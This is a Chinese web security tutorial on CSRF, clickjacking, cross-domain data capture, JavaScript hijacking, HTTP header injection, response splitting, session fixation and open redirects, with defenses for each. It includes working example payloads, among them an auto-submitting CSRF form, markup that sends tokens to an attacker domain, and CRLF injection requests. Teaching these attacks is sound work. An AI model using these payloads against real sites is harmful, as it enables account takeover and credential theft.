Web安全(11)

诱使用户执行操作

我们将在下面介绍一些可用于诱使其他用户执行操作的方法,这些方法甚至可以用在已防范XSS攻击的应用程序中。

请求伪造

这种类型的攻击也称为会话叠置(session riding),它们与会话劫持攻击密切相关。在会话劫持攻击的过程中,攻击者截获一名用户的会话令牌,因而可以“作为”该用户适用应用程序。但是,通过伪造攻击,攻击者根本不需要知道受害者的会话令牌。相反,攻击者利用Web浏览器的正常行为劫持用户的令牌,并通过它提出用户并不不打算提出的请求

请求伪造漏洞分为两种类型:本站点和跨站点

本站点请求伪造

本站点请求伪造(On-Site Request Forgery,OSRF)是一种保存型XSS漏洞的常见攻击有效载荷。以消息公告牌应用程序为例,它允许用户提交可被其他用户查看的数据。该应用程序使用以下请求提交信息:

POST /submit.php
Host: wahh-app.com
Content-Length: 34

type=question&name=daf&message=foo

这个请求将以下内容添加到消息页面中

<tr>
<td><img src="/images/question.gif"></td>
<td>daf</td>
<td>foo</td>
</tr>

在这种情况下,假设应用程序已经对插入页面的任何特殊字符进行了正确的HTML编码(并认为它不会受到XSS攻击)。上述示例中,我们控制的仅仅是< img>标签目标的一部分内容,虽然我们无法破坏引用字符串,但是可以修改URL,使得查看消息的用户提出一个尝试提出任意一个本站点的GET请求。例如,在type参数中提交下面的值将会使任何查看消息的用户提出一个尝试创建新的管理用户的请求:

../admin/newUser.php?username=daf2&password=0wned&role=admin# //#终止了.gif后缀前面的URL

如果一名普通用户被诱使提出攻击者专门设计的请求,攻击不会成功。但是如果管理员查看信息,攻击者就可以创建一个秘密账户。在此例中,虽然无法对其进行XSS攻击,但攻击者仍然能够成功执行OSRF攻击。

在将其合并到响应之前,尽可能严格地确认用户提交的输入,即可防止OSRF漏洞。例如,上面的示例中,应用程序对type参数是否有一组值或某一个特殊的值进行检查。如果应用程序必须接受无法预料的其他值,那么应阻止任何包含/ . ?&与=的请求。
对这些字符进行HTML编码并不能有效防止OSRF攻击攻击,因为浏览器在请求目标的URL字符串之前,会首先对其进行解码。

跨站点请求伪造

跨站点请求伪造(CSRF)中,攻击者只需创建一个看似无害的网站,致使用户的浏览器直接向易受攻击的应用程序提出一个请求,执行某种有利于攻击者的“无意”操作。
同源策略并不阻止一个网站向另一个域提出请求。但是,它确实阻止提出请求的网站处理跨域请求的响应。因此,正常情况下,CSRF攻击只是一种“单向”攻击。

以某个允许管理员使用以下请求创建新用户账户的应用程序为例:

POST /auth/newUser.ashx HTTP/1.1
Host: mdsec.net
Cookie: sessionId=xxxxxxxxxxxxxxxxxxxxxxxxxxxxx(此处省略)
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

realname=daf&username=daf&userrole=admin&password=letmein1&confirmpassword=letmein1

此请求有3个主要特定使得它易于受到CSRF攻击:

  1. 该请求执行特权操作(管理员请求创建用户)
  2. 应用程序仅仅依靠HTTP cookie来追踪会话。请求中任何其他位置均未传送会话相关的令牌
  3. 攻击者可以确定执行操作所需的所有参数。(除cookie中的会话令牌外,请求中不包含任何无法预测的值)

针对这些缺陷,攻击者可以构建一个Web页面,向易受攻击的应用程序提出一个跨域请求,在其中包含执行特权操作所需的所有步骤。以下为这种攻击的一种示例:

<html>
<body>
<form action="http://mdsec.net/auth/newUser.ashx" method="POST">
<input type="hidden" name="realname" value="daf">
<input type="hidden" name="username" value="daf">
<input type="hidden" name="userrole" value="admin">
<input type="hidden" name="password" value="letmein1">
<input type="hidden" name="confirmpassword" value="letmein1">
<script>
document.forms[0].submit();
</script>
</body>
</html>>

该攻击将所有请求参数放入隐藏表单字段,并包含一段自动提交表单的脚本。用户的浏览器提交该表单时,将自动添加用户的目标域的cookie,并且应用程序会正常处理生成的请求。如果管理用户登录到易受攻击的应用程序中,并访问攻击者的包含此表单的Web页面,该请求将在管理员的会话中处理,攻击者的账户因此得以创建。

利用CSRF漏洞

CSRF漏洞主要出现在应用程序仅依赖HTTP cookie追踪会话令牌的情况下,一旦已经在用户的浏览器中设定了cookie,浏览器会自动在随后的每个请求中将这个cookie提交给应用程序。无论请求是来自某个链接、应用程序本身中的表单或任何其地方(如外部网站或在电子邮件中单击的链接),它都会这样做。如果应用程序未采取防范措施来阻止攻击者以这种方式“叠置”它的用户的会话,它就易于受到CSRF攻击。

验证与CSRF

由于实施CSRF攻击需要在受害用户的会话中执行某种特权操作,因此,在实施攻击时,用户需要登录到应用程序中。

一个存在大量危险的CSRF漏洞的位置,是家庭DSL路由器使用的Web界面。这些设备大多包含敏感功能。由于这些设备通常并未采取防范CSRF的措施,并且大多数用户也没有修改设备的默认的IP地址,因此,它们容易受到由恶意外部站点传送的CSRF攻击。
如果设备的Web界面使用基于表单的验证,则可以通过首先让用户登录设备,然后执行经过验证的操作,从而实施两步攻击。由于大多数用户并未修改这类设备的默认证书(可能认为该Web界面只能通过内部家庭网络访问),因此,攻击者的网页可以首先提出包含默认证书的登录请求。然后,设备会在用户的浏览器中设置一个会话令牌,随后的任何请求,包括由攻击者生成的请求,将自动传送该令牌。

在其他情况下,攻击者可能需要受害用户以攻击者自身的用户账户登录应用程序才能实施特定的攻击。一个允许用户上传并存储文件的应用程序为例。攻击者的网页可以提出一个CSRF请求,强制用户受害用户用攻击者的证书登录。然后,攻击者的网页可以提出另一个CSRF请求,以下载某个恶意文件。浏览器在处理该文件时,攻击者的XSS有效载荷将会执行,用户在易受攻击的应用程序中的会话将被攻破。虽然受害用户是使用攻击者的证书登录的,但是,XSS有效载荷可以在用户的浏览器中持续存在,并执行任意操作,因而可以让用户注销其在易受攻击的应用程序中的会话,并诱使其使用自己的证书登录。

防止CSRF漏洞

防范CSRF的标准方法是:将HTTP cookie与其他追踪令牌的方法相结合。这类方法通常采用其他通过HTTP隐藏表单字段传输的令牌。在每次提交请求时,应用程序除确认会话cookie外,还核实表单是否传送了正确的会话令牌。如果攻击者无法确定该令牌的值,就无法构建跨域请求。以这种方法使用反CSRF令牌时,必须为这些令牌提供与正常的会话令牌相同的保护。

注:Referer消息头可以使用旧版Flash进行修改,或用元刷新标签(meta refresh tag)来伪装,所以不能依靠HTTP Referer消息头来判断请求是来自站内还是站外。

通过XSS突破反CSRF防御

通常,在以下几种情况下,我们可以利用XSS漏洞突破反CSRF防御:

  • 如果受保护的功能中存在任何XSS漏洞,那么攻击者可以通过保存型XSS攻击注入的JavaScript直接读取脚本所在的应用程序响应中的令牌
  • 如果应用程序仅对一部分通过验证的功能实施反CSRF防御,并且某项未防御CSRF的功能中存在一个反射型的XSS漏洞。例如,如果应用程序仅采用反CSRF令牌保护转账的的第二个步骤,那么攻击者就可以利用反射型XSS攻击从第一个步骤提出一个站内请求,截取令牌。再使用这个令牌进入第二个步骤。
  • 在某些应用程序中,反CSRF令牌仅与当前用户关联,而不与用户的会话关联。首先,攻击者使用自己的账户登录,获得一个与他身份有关的有效反CSRF令牌,然后对登录表单实施CSRF攻击,迫使受害用户使用攻击者的证书登录。一旦用户作为攻击者登录,攻击者将使用CSRF使用户提出相关请求,对XSS漏洞加以利用,同时使用他自己的反CSRF令牌。然后,攻击者的XSS有效载荷将在用户的浏览器执行。由于用户仍然作为攻击者登录,XSS有效载荷可能需要使用户注销,然后诱使用户再度登录。最终,用户的登录证书和生成的应用程序会话都被完全攻破。
  • 如果反CSRF令牌没有与用户关联,而是与用户会话关联,且攻击者可以通过某种方法在用户的浏览器中注入cookie,则只需对以上攻击稍作修改即可。这时,攻击者不是使用自己的证书针对登录表单实施CSRF攻击,而直接可以向用户传输他自己的会话令牌及与该会话关联的反CSRF令牌。然后,该攻击的剩余部分与之前所述的内容完全相同。

UI伪装

UI伪装也被称为“点击劫持(clickhacking)”“键击劫持(strokehacking)”。
在UI伪装攻击中,攻击者的网页会将目标应用程序加载到其页面上的iframe中,而实际上,攻击者会用其他界面覆盖目标程序中的界面。攻击者的界面中包含吸引用户并诱使其进行各种操作(如在页面的特定区域单击鼠标)的内容。用户执行这些操作时,虽然看起来其单击的是攻击者的界面中显示的按钮和其他UI元素,但他实际上是在不知情的情况下与攻击者所针对的目标应用程序进行交互。
这种攻击之所以能够在纯粹的CSRF攻击无法奏效的情况下取得成功,是因为应用程序使用的反CSRF令牌得到正确处理。虽然由于同源策略的原因,攻击者的页面无法读取该令牌的值,但是,攻击者的Iframe中的表单包含了由应用程序生成的令牌,在受害用户不知情的情况下单击“确认”按钮时,这个令牌被返交给应用程序。在应用程序看来,一切都很正常。

要实施欺骗,即让受害用户虽然看到一个界面,但实际上却与另一个界面交互,攻击者可以采用各种CSS技术。加载目标程序的iframe可以为任意大小,位于攻击者页面中的任何位置,并显示目标页面的任意位置。使用适当的样式属性。可以令iframe完全透明,从而使其对用户不可见。

“破坏框架”防御

许多Web应用程序寻求采用一种称为破坏框架(framebusting)的技术来防范这类攻击。
破坏框架可以表现为各种形式,但基本上,它是指每个相关的应用程序页面都会运行一段脚本来检测自己是否被加载到iframe中。如果是,应用程序会尝试”破坏”该iframe,或执行其他防御性操作,如重定向到错误页面或拒绝显示应用程序自己的界面。

这些防御可以通过某种方式突破。下面我们通过一段“破坏框架”的代码来加以说明:

<script>
if (top.location != self.location){
    top.location = self.location;
}
</script>

这段代码检查页面本身的URL与浏览器窗口中的顶部框架的URL是否匹配。如果不匹配,则说明页面已经被加载到子框架内。在这种情况下,脚本会尝试将页面重新加载到窗口内的顶层框架中,从而“逃离”该框架。
实施UI伪装攻击的攻击者可以通过各种方法避开这种防御:

  • 由于攻击者的页面控制着顶层框架,因而可以重新定义top.location的含义,在子框架尝试引用它而导致的异常。例如,攻击者可以在IE浏览器中运行以下代码:
    var location='foo';
    这段代码将location重新定义为顶层框架中的本地变量,在子框架运行的代码无法访问该变量。
  • 顶层框架可能会钩住window.onbeforeunload事件,从而在“破坏框架”代码尝试设置顶层框架的位置时运行攻击者的事件处理程序。这时,攻击者的代码可以对返回的HTTP 204(无内容)响应的URL执行进一步的重定向。这会导致浏览器取消重定向调用链,使顶层框架的URL保持不变。
  • 顶层框架可以在目标应用程序加载到子框架中时定义sandbox属性,这会在子框架中禁用脚本,同时将cookie保持为启用状态。
  • 顶层框架可以利用IE XSS过滤器在子框架中选择性地禁用“破坏框架”脚本。当攻击者的页面指定iframe目标URL时,可以创建一个参数,在参数值中包含一段适合的“破坏框架”脚本。IE XSS过滤器将识别该参数值及目标程序返回的响应中的脚本代码,并禁用响应中的脚本(即“破坏框架”脚本),设法为用户提供“保护”。
防止UI伪装

要防止攻击者将应用程序页面嵌入框架,一种更可靠的方法是使用X-Frame-Options响应消息头。X-Frame-Options指示浏览器防止页面被嵌入框架,值sameorigin指示浏览器防止第三方域执行“嵌入框架”操作。

跨域捕获数据

同源策略旨在防止在同一个域中运行的代码访问由其他域提供的内容。因此,跨站点请求伪造攻击通常被称为“单向”攻击。虽然一个域可以向另一个域提出请求,但它很难读取这些域的响应,从而从其他域中窃取用户数据。
有各种攻击技巧可用于从其他域中捕获整个或部分响应。

通过注入HTML捕获数据

与利用XSS漏洞不同,攻击者可以利用许多应用程序提供的功能,在其他用户收到的响应中注入一段有效的HTML。例如,Web邮件可能会显示包含某个HTML标记的电子邮件。但会阻止可用于执行脚本代码的任何标签和属性。或者,动态生成的错误消息可能会过滤一系列表达式,但仍然允许有限使用HTML。
在这些情况下,就可以利用HTML注入条件向攻击者所在的域发送页面中的敏感数据。

以一个允许攻击者在以下响应中注入有限的HTML的Web邮件应用程序为例:

[limited HTML injection here]
<form action="http://wahh-mail.com/forwardmail" method="POST">
<input type="hidden" name="nonce" value="123">
<input type="submit" value="Forward">
....
</form>
<script>
var statsTrackerId='AAE78F27CB3210D';
</script>

在注入点之后,页面包含了一个提供CSRF令牌的HTML表单。在这种情况下,可以在上述响应中注入以下文本:

<img src='http://mdattacker.net/capture?html=

这段HTML将打开一个指向攻击者域中的URL的图像标签。该URL包含在单引号内,但URL字符串并未终止,< img>标签也没有结束。这会导致浏览器将注入点之后的文本视为URL的一部分,直到遇到单引号,也就是响应中随后出现引用的JavaScript字符串的位置。浏览器接受各种插入字符,也允许URL跨越多行。
用户浏览器在处理攻击者注入的响应时,它会尝试提取指定的图像,并向以下URL提出请求,从而向攻击者的域中发送敏感的反CSRF令牌:

http://mdattacker.net/capture?html=<form%20action="http://wahh-mail.com/forwardmail"%20method="POST"><input%20type="hidden"%20name="nonce"%20value="123"><input%20type="submit"%20value="Forward">
....
</form><script>var statsTrackerId=

另一个攻击可以注入以下文本:

<form action="http://mdattacker.net/capture" method="POST">

此攻击在应用程序本身使用的< form>标签之前注入一个指定攻击者域的< form>标签。在这种情况下,浏览器在遇到嵌入的< form>标签时,它们将忽略该标签,在遇到第一个< form>标签的情况下处理表单。因此,如果用户提交表单,表单中的所有参数,包括敏感的反CSRF令牌,也会被提交到攻击者的服务器中:

POST /capture HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
Host: mdsec.net

nonce=123&....

由于第二个攻击仅注入了格式正常的HTML,因此能够有效避开那些旨在允许回显的输入中的HTML子集的过滤

通过注入CSS捕获数据

许多时候,应用程序会阻止或对注入的输入中的<、>字符进行编码,防止攻击者插入任何新的HTML标签。Web应用程序中大多存在此类纯文本注入条件。例如,在一个Web邮件应用程序中,攻击者可以通过电子邮件主题行在目标用户的响应中注入有限的文本。在这种情况下,攻击者可以通过在应用程序中注入CSS来捕获敏感数据。

在上述HTML的示例中,假设攻击者发送以下主题行的电子邮件:

{}*{font-family:'

其中不包含任何HTML元字符,大多数用户都接受并在收件人用户的响应中显示这段代码。这时,返回给用户的响应可能与以下内容相似:

<td>{}*{font-family:'</td>
<form action="http://wahh-mail.com/forwardmail" method="POST">
<input type="hidden" name="nonce" value="123">
<input type="submit" value="Forward">
....
</form>
<script>
var statsTrackerId='AAE78F27CB3210D';
</script>

很明显,此响应中包含HTML。但奇怪的是,浏览器将该响应加载为CSS样式表,能正常处理其中包含的任何CSS定义。在这段代码中,注入的响应定义了CSS font-family属性,并将一个引用的字符串作为属性定义,攻击者注入的文本并未终止该字符串,因此,该字符串会一直持续到响应的剩余部分,包括包含敏感的反CSRF令牌的隐藏字段。

要利用这种行为,攻击者需要在自己的域中创建一个页面,在其中包含CSS样式表形式的注入响应。这会在攻击者自己的页面中应用任何嵌入的CSS定义。然后,攻击者可以使用JavaScript来查询这些定义,从而检索捕获到的数据

JavaScript劫持

JavaScript劫持提供了另一种跨域数据捕获的方法,从而将CSRF转化为一种有限的“双向”攻击。同源策略允许一个域包含其他域的脚本代码,并可以在调用域(而不是发布域)中运行。今天的许多应用程序都用JavaScript来传输敏感数据。接下来我们将介绍各种使用动态执行的脚本代码来传输敏感数据的方法,以及如何劫持这类代码,以捕获域中的数据。

函数回调

以一个应用程序为例,它在当前用户单击相应的选项卡时,在用户界面中显示该用户的个人信息。为提供无缝的用户体验,应用程序使用异步请求提取用户信息。当用户单击“个人资源”选项卡时,某段客户端代码将动态包含以下脚本:

https://mdsec.net/YourDetailsJson.ashx

针对此URL的响应包含一个函数回调,该函数在UI中显示用户资料。

showUserInfo(
    [
       ['Name','Alice'],
       ['Username','tree'],
       ['Password','123'],
       ['Uid','11'],
       ['Role','User']
    ]);

在这种情况下,攻击者可以创建一个showUserInfo函数的页面,并在其中包含传送个人信息的脚本。从而捕获用户资源,一个简单的概念验证攻击如下所示:

<script>
function showUserInfo(x){alert(x);}  //用户个人资料
</script>
<script src="https://mdsec.net/YourDetailsJson.ashx">
</script>

如果用户在访问攻击者页面的同时,还登录了某个易受攻击的应用程序,则攻击者的页面将动态地插入包含用户个人信息的脚本

变量分配

以一个社交网络应用程序为例,一部分用户界面使用动态生成的脚本加载,为防止标准的CSRF攻击,这些脚本中包含了反CSRF令牌。利用在动态脚本中插入这些令牌导致的漏洞,攻击者可以通过跨域包含相关脚本来捕获令牌。
例如,假设wahh-network.com上的应用程序返回包含以下代码的脚本:

...
var nonce='123456789';
...

一个用于跨域捕获nonce值的简单概念验证机制如下所示:

<script src="https://wahh-network.com/status"></script>
<script>alert(nonce);</script>

E4X

E4X是对ECMAScript语言(包括JavaScript)的扩展,后者可为XML语言添加本地支持。
除了允许在JavaScript中直接使用XML语法外,用户还可以在E4X中嵌入代码,以调用XML中的JavaScript

var foo=<bar>{prompt('Please enter the value of bar.')}</bar>;

E4X的这些特性导致了两个严重的后果,可用于实施跨域捕获攻击:

  • 结构正确的XML标记将被视为不会分配给任何变量的值
  • 嵌入{….}块中的文本将作为JavaScript执行,用于对XML数据的相关部分进行初始化。
    利用与之前所述的CSS注入攻击类似的技巧,攻击者有时可以在目标应用程序的HTML响应中的适当位置注入文本,在该响应中的敏感数据周围插入任意的{…}块。然后,攻击者可以跨域包含整个响应,将其作为脚本执行,以捕获其中的数据。

防止JavaScript劫持

防止JavaScript攻击的多种防范措施:

  • 对于执行敏感操作的请求,应用程序应使用标准的反CSRF防御来阻止跨域请求返回任何包含敏感数据的响应。
  • 当应用程序从它自己的域中动态执行JavaScript代码时,并不仅限于使用< script>标签来包含脚本。因为请求为本站请求,客户端代码可以使用XMLHttpRequest检索原始响应并进行其他处理,然后再将其作为脚本执行。这意味着,客户端应用程序在处理脚本之前,将会删除无效或有问题的JavaScript。
  • 由于应用程序可以使用XMLHttpRequest检索动态脚本,因此它也可以使用POST请求完成这个任务。如果应用程序仅接受使用POST请求访问可能易受攻击的脚本代码,他就能够阻止第三方站点将它们包含在< script>标签内。

同源策略深入讨论

同源策略与浏览器扩展

各种浏览器扩展技术全都在域之间实施了某种隔离,这种隔离的实施方式与主要的浏览器同源策略所采用的基本原则相同。但是,每种实施方式的一些特点在某些情况下可能会导致跨域攻击。

同源策略与Flash

  • Flash对象的来源由加载这些对象的URL所在的域决定,而不是由加载这些对象的HTML页面的URL决定。和浏览器中的同源策略一样,默认情况下,将基于协议、主机名和端口号实施隔离。
  • 除与同一来源进行完全交互双向交互外,Flash对象还可以通过浏览器使用URLRequest API提出的跨域请求。如能够指定任意的Content-Type消息头以及在POST请求主体中发送任何内容,但将会对这些请求运用浏览器cookie,默认情况下,提出这些请求的Flash对象并不能读取对跨域请求做出的响应。
  • Flash提供了一种机制,各种域可通过这种机制向来自其他域的Flash对象授予权限,以便于这些对象能与它们进行完全双向的交互。通常,授予权限的域会在URL/crossdomain.xml处发布一个策略文件,从而完成这一任务。当某个Flash对象尝试提出双向跨域请求时,Flash浏览器扩展将检索所请求的域中的策略文件,并仅在所请求的域授权对提出请求的域的访问权限时,才允许上述请求。

www.adobe.com 发布的Flash策略如下:

<?xml version="1.0"?>
<cross-domain-policy>
    <site-control permitted-cross-domain-policies="by-content-type"/>
    <allow-access-from domain="*.macromedia.com" />
    <allow-access-from domain="*.adobe.com" />
    <allow-access-from domain="*.photoshop.com" />
    <allow-access-from domain="*.acrobat.com" />
 </cross-domain-policy>

同源策略和Silverlight

  • 用于Silverlight的同源策略很大程度基于由Flash实施的策略。
  • Silverlight和Flash的一个重要区别在于,Silverlight不会基于协议或端口隔离来源,因此通过HTTP加载的对象可以与同一个域上的HTTPS URL交互。
  • Silverlight使用自己的跨域策略文件,地址为/clientaccesspolicy.xml。

www.microsoft.com 发布的Silverlight同源策略如下所示:

<?xml version="1.0" encoding="utf-8">
<access-policy>
   <cross-domain-access>
     <policy>
      <allow-from>
      <domain uri="http://www.microsoft.com" />
      <domain uri="http://i.microsoft.com" />
      <domain uri="http://i2.microsoft.com" />
      </allow-from>
      <grant-to>
       <resource path="/" include-subpaths="true" />
      </grant-to>
     </policy>
    </cross-domain-access>
</access-policy>

同源策略与Java

Java同源策略的一个重要不同在于:某些情况下,与来源域共享的IP地址的其他域将被视为“同源”

同源策略与HTML5

在HTML5中,可以与其他域进行双向交互,前提是被访问的域为交互提供权限。
跨域交互的权限通过一系列新的HTTP消息头来实现,如果某个脚本尝试使用XMLHttpRequest提出跨域请求,处理该请求的方式因请求的具体内容而异:

  • 对于常规的请求,即可使用现有的HTML结构跨域生成的请求,浏览器将提出请求,并检查生成的响应消息头,以确定是否应允许调用脚本访问该请求的响应。
  • 其他无法使用现有的HTML生成的请求,如那些非标准HTTP方法或Content-Type、或添加了定制HTTP消息头的请求,将进行不同的处理。浏览器会首先向目标URL提出一个OPTIONS请求,然后检查响应的消息头,以确定是否应允许那些请求。

在两种情况下,浏览器都会添加一个Origin消息头,用于指示尝试提出跨域请求的域。

Origin: http://wahh-app.com

要确定可能执行双向交互的域,服务器的响应中应包含Access-Control-Allow-Origin>消息头,其中包含以逗号分隔的允许的域列表和通配符。

Access-Control-Allow-Origin: *

在第二种情况下,如果已使用POTIONS请求预先验证了跨域请求,则可以使用以下消息头来指示尝试提出的请求的具体内容:

Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-PINGOTHER

其他客户端注入攻击

HTTP消息头注入

如果攻击者能够在他控制的消息头中注入换行符,他就能在响应中插入其他HTTP消息头、并在响应主体中写入任意内容。这种漏洞最常见于Location和Set-Cookie消息头中

同样,一些应用程序提取用户提交的输入,并将其插入到cookie值中:

GET /settings/Default.aspx?Language=Chinese HTTP/1.1
HOst:mdsec.net
HTTP/1.1 200 OK
Set-Cookie:PrefereredLanguage=Chinese 
...

在上述的任何一种情况下,攻击者都可以使用回车符(0x0d)或换行符(0x0a)构造一个专门设计的请求,在他们控制的消息头中注入一个换行符,从而在下面的行中注入其他数据。如:

GET /settings/Default.aspx?Language=Chinese%0d%0aFoo:+bar HTTP/1.1
Host: mdsec.net
HTTP/1.1 200 OK
Set-Cookie: PrefereredLanguage=Chinese
Foo: bar
...

利用消息头注入漏洞

如果能够在响应中注入任意消息头和消息主体的内容,那么这种行为可通过各种方式攻击应用程序

注入cookie

攻击者可以建立一个URL,在请求它的任何用户的浏览器中设定任意的cookie:

GET /settings/Default.aspx?Language=Chinese%0d%0aSet-Cookie:+sessId%3d120a12f98e8; HTTP/1.1
Host: mdsec.net
HTTP/1.1 200 OK
Set-Cookie: PrefereredLanguage
Set-Cookie: sessId=120a12f98e8
....

如果进行适当的配置,这些cookie可以访问不同的浏览器会话。这时,通过前面利用反射型XSS漏洞时使用的相同传送机制(电子邮件、第三方Web站点等),就可以诱使目标用户访问恶意URL。

传送其他攻击

因为HTTP消息头注入允许攻击者控制整个响应主体,所以几乎任何针对其他用户的攻击都可以使用它来作为传送机制。

HTTP响应分隔(HTTP response splitting)

这是一种企图“毒害”代理服务器缓存,从而攻破代理服务器访问应用程序的其他用户的技巧。
攻击者可以通过以下步骤,利用消息头注入漏洞来实施响应分割攻击:

  1. 攻击者在代理服务器中选择一个他希望“毒害”的应用程序页面。例如,他可能会使用一个木马登录表单(用于向攻击者的服务器提交用户证书)代替/admin/处的页面
  2. 攻击者确定某个消息头注入漏洞,构造一个请求,在服务器响应中注入一个完整的HTTP主体以及一组响应消息头和另一个消息响应主体。第二个响应主体包含他的木马登录表单的HTML源代码。这样,服务器的响应就像是两个连接起来的单独的HTTP响应。
    GET /settings/Default.aspx?Language=Chinese%0d%0aContent-Length:+22%0d%0a%0d%0a
    <html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a
    <html>%0d%0a<head>%0a%0a<title>Administrator+login</title>%0d%0a[...long URL...] HTTP/1.1
    Host: mdsec.net
    //第一个响应
    HTTP/1.1 200 OK
    Set-Cookie: PrefereredLanguage=Chinese
    Content-Length: 22
    
foo //第二个响应 HTTP/1.1 200 OK Content-Length:2307 Administrator login ```
  1. 攻击者与代理服务器建立TCP连接。传送这个专门设计的请求,后面紧跟着访问被“毒害”的页面的请求。在HTTP中,以这种方式连接请求的方式是合法的

    //第一个请求
    GET /settings/Default.aspx?Language=Chinese%0d%0aContent-Length:+22%0d%0a%0d%0a
    <html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a
    <html>%0d%0a<head>%0a%0a<title>Administrator+login</title>%0d%0a[...long URL...] HTTP/1.1
    Host: mdsec.net
    Proxy-Connection: Keep-alive
    //第二个请求
    GET http://mdsec.net/admin/ HTTP/1.1
    Host: mdsec.net
    Proxy-Connection: Close 
  2. 代理服务器与应用程序建立TCP连接,送出这两个以相同的方式连接的请求。

  3. 应用程序用注入的第一个HTTP内容响应第一个请求

  4. 代理服务器收到这两个看似独立的响应,并认为其中第二个响应与攻击者的第二个请求相对应,该请求指向URL:http://mdsec.net/admin/ 。代理服务器把第二个响应作为这个URL的内容保存在缓存中,(如果代理服务器已在缓存中保存有该页面的副本,那么攻击者就可以在他的第二个请求中插入一个适当的If-Modified-Since消息头,并在注入的响应中插入一个Last-Modified消息头,使得代理服务器重新请求这个URL,用新的内容更新它的缓存)

  5. 应用程序发布它对攻击者的第二个请求的响应,其中包含URL http://mdsec.net/admin/ 的真实内容。代理服务器并不认为它是对用户第二个请求的真实响应,因而抛弃这个响应。

  6. 一名用户通过代理服务器访问http://mdsec.net/admin/ ,并收到这个URL保存在代理服务器缓存中的内容。这个内容实际上是攻击者的木马登录表单,因此用户的证书被攻破。

防止消息头注入漏洞

要防止HTTP消息头注入漏洞,最有效的方法是杜绝用户控制的输入插入到应用程序返回的HTTP消息头中。如果不可避免地要将消息头插入用户控制的数据中,那么应用程序应采取以下双重深层防御方法防止漏洞的产生:

  • 输入确认,对插入的数据进行尽可能严格的确认
  • 输出确认,应对插入到消息头中所有的数据进行过滤,检测可能的恶意字符(实际上,任何ASCII码小于0x20的字符都应被视为可疑字符)
    只有应用程序在其SSL终止符后未使用缓存反向代理服务器,它才能通过对所有应用程序内容使用HTTPS,防止攻击者利用任何残留的消息头注入漏洞”毒害”代理服务器缓存。

cookie注入

攻击者可以通过各种方式实施cookie注入攻击

  • 某些应用程序的功能在请求参数中使用一个名称和值,并在响应cookie中设置该名称和值。保存用户首选项大多属于此功能。
  • 如果存在HTTP注入漏洞,就可以利用此漏洞注入任意Set-Cookie消息头
  • 可以利用相关域中的XSS漏洞在目标域上设置一个cookie。目标域的任何子域,以及目标域的父域及其子域,都可以通过这种方式利用
  • 可以利用中间人攻击(如针对公共无线网络中的用户)在任意域上设置cookie。即使目标应用程序仅使用HTTPS并将其cookie标记为安全。

如果攻击者可以设置任意cookie,他就可以利用该cookie以各种方式攻击用户:

  • 在某些应用程序中,设置一个特殊的cookie就可以破坏应用程序的逻辑。如UseHttps=false
  • 由于cookie通常由应用程序本身设置,因此它们会受到客户端代码的信任。该代码会以危险的方式处理cookie值。
  • 除将反CSRF令牌与用户会话关联外,一些应用程序还在cookie和请求参数中放置该令牌,然后对它们的值进行比较,以防止CSRF攻击,如果攻击者可以控制cookie和参数值,他就能绕过这种攻击
  • 攻击者可以利用某个永久性XSS漏洞,通过针对登录功能的CSRF攻击使用户登录攻击者的账户,并因此访问XSS有效载荷。如果登录页面能够有效防范CSRF,那么这种攻击将无效。但是,如果攻击者能够在用户的浏览器中设置任意cookie,他就可以直接向用户传递自己的会话令牌,从而成功实施攻击,而不必实施针对登录的CSRF攻击。
  • 设置任意的cookie可以对对话固定漏洞加以利用

会话固定

如果应用程序在用户首次访问时为每一名用户建立一个匿名会话,往往就会产生会话固定漏洞。如果应用程序包含登录功能,那么这个会话会在登录之前创建,然后,一旦用户成功登录,这个会话将会升级为通过验证的会话。最初,会话令牌并未被赋予任何访问权限,但用户登录后,这个令牌也就有了用户的访问权限。

在固定会话攻击中,攻击者从应用程序中直接获得一个匿名令牌,然后使用某种方式将令牌“固定”到用户的浏览器中。用户登录后,攻击者就可以使用该令牌劫持用户会话。
攻击过程如下所示

这个攻击中,最关键的阶段是攻击者向受害者发送他获得的会话令牌,并使受害者浏览器使用这个令牌。实现这一目标的方法因传送会话令牌所采用的机制而异:

  • 如果使用HTTP cookie,攻击者可以尝试使用cookie注入

  • 如果在URL参数中传送会话令牌,则攻击者只需向受害者传递应用程序向攻击中发布的同一URL

  • 一些应用程序接受在URL中使用分号来分隔会话令牌

    httP://wahh-app.com/product.do;jsessionid=739105723F7AEE6ABC213F812C184204.ASTPESD2
  • 如果应用程序使用隐藏的表单字段传送会话令牌,攻击者可以通过CSRF攻击在用户的浏览器中拆入他的令牌

并不提供登录机制的应用程序也可能存在会话固定漏洞。

查找并利用会话漏洞

在下面两种情况下, 应用程序可能易于受到会话固定攻击:

  • 应用程序向每名未通过验证的用户发布一个匿名会话令牌
  • 应用程序只在用户成功登录后才向用户发布会话令牌。如果用户使用通过验证的令牌访问登录功能,并使用不同的证书登录,则应用程序并不发布新令牌;相反,与之前通过验证的会话关联的用户身份将转换为第二名用户的身份

如果应用程序并不支持验证,但允许用户提交并审查敏感信息,那么应该确认用户在提交敏感信息前后的会话令牌是否发生变化,则攻击者就可以

防止会话固定漏洞

任何时候,只要一名用户与应用程序的交互状态由匿名转变为确认,应用程序就应该发布新的会话令牌。这不仅适用于用户成功登录的情况,也适用于匿名用户首次提交个人或其他敏感信息的情况。下面是一些防止会话固定漏洞的方法:

  • 采用每页面令牌强化会话令牌
  • 应用程序不得接受它认为不是自己发布任意会话令牌,应立即在浏览器中取消该令牌,并将用户返回到应用程序起始页。

开放式重定向漏洞

如果应用程序提取用户可控制的输入,并使用这个数据执行重定向,指示用户的浏览器访问不同于用户所请求的URL,这时就会导致开放式重定向漏洞。

攻击者主要利用开放式重定向漏洞实施钓鱼攻击,诱使受害者访问欺骗性的Web网站并输入敏感信息。

查找并利用开放式重定向漏洞

查找重定向漏洞的第一步是确认应用程序中的所有重定向。应用程序可以通过以下几种方式使用户的浏览器重定向到不同的URL:

  • HTTP重定向使用一条状态码为3xx的消息与一个指向重定向目标的Location消息头,如:

    HTTP/1.1 302 Object moved
    Location: http://wahh-app.com/updates.html
  • HTTP Refresh消息头可在固定时间间隔后使用任意URL重新加载某个页面,该间隔可以为(0),也就是立即触发重定向,如:

    HTTP/1.1 200 OK
